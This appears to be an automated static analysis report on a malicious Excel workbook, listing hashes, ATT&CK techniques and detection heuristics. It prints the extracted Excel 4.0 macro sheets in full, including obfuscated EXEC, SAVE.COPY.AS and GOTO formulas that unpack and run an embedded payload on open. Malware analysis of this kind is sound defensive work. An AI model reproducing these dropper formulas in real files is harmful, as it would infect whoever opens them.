Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 278e438291731768…

MALICIOUS

Office (OOXML)

437.0 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: 73d8a558fae0312400394742efe18540 SHA-1: 5a840a00e381b2007c90447cf818d004d3687b03 SHA-256: 278e43829173176830853380d67287cf49f99bfe83cf76ad8c0e241004a16647
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that utilize dangerous functions like EXEC and GOTO. Specifically, the EXEC function is used to run the command 'tar -xf ..\Nioka.meposv -C ..\', which indicates an attempt to extract a payload from an embedded archive. The presence of these functions and the command execution strongly suggest a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1461 bytes
SHA-256: 27d4e33f73f1a260fa564bca6053f074c8b991489b47d3c6cf5c274fc21b3e00
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{92BAA9A6-CCD7-4C96-B244-8027D75B3DA4}"><dimension ref="H23:I28"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.7109375" style="2"/></cols><sheetData><row r="23" spans="8:9" x14ac:dyDescent="0.25"><c r="H23" s="2" t="b"><f>SAVE.COPY.AS(I23)</f><v>0</v></c><c r="I23" s="2" t="s"><v>3</v></c></row><row r="28" spans="8:9" x14ac:dyDescent="0.25"><c r="H28" s="2" t="e"><f>GOTO(Nolaert!AK161)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2165 bytes
SHA-256: af7be7ad0c8fc433f7ace58c4e89b9401fa3fc7fc0d4ec131bbfb8c26808456d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AJ701:AL716"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="10.7109375" style="2"/></cols><sheetData><row r="701" spans="36:38" x14ac:dyDescent="0.25"><c r="AL701" s="2" t="s"><v>2</v></c></row><row r="702" spans="36:38" x14ac:dyDescent="0.25"><c r="AL702" s="2" t="s"><v>0</v></c></row><row r="703" spans="36:38" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC(AJ704)=PI()=PI()=PI()</f><v>0</v></c><c r="AL703" s="2" t="s"><v>1</v></c></row><row r="704" spans="36:38" x14ac:dyDescent="0.25"><c r="AJ704" s="2" t="str"><f>"tar -xf ..\Nioka.meposv -C ..\"</f><v>tar -xf ..\Nioka.meposv -C ..\</v></c></row><row r="706" spans="37:37" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:06")</f><v>0</v></c></row><row r="711" spans="37:37" x14ac:dyDescent="0.25"><c r="AK711" s="2" t="b"><f>PI()=PI()=PI()=EXEC(AL701&amp;AL702&amp;AL703)=PI()=PI()=PI()</f><v>0</v></c></row><row r="716" spans="37:37" x14ac:dyDescent="0.25"><c r="AK716" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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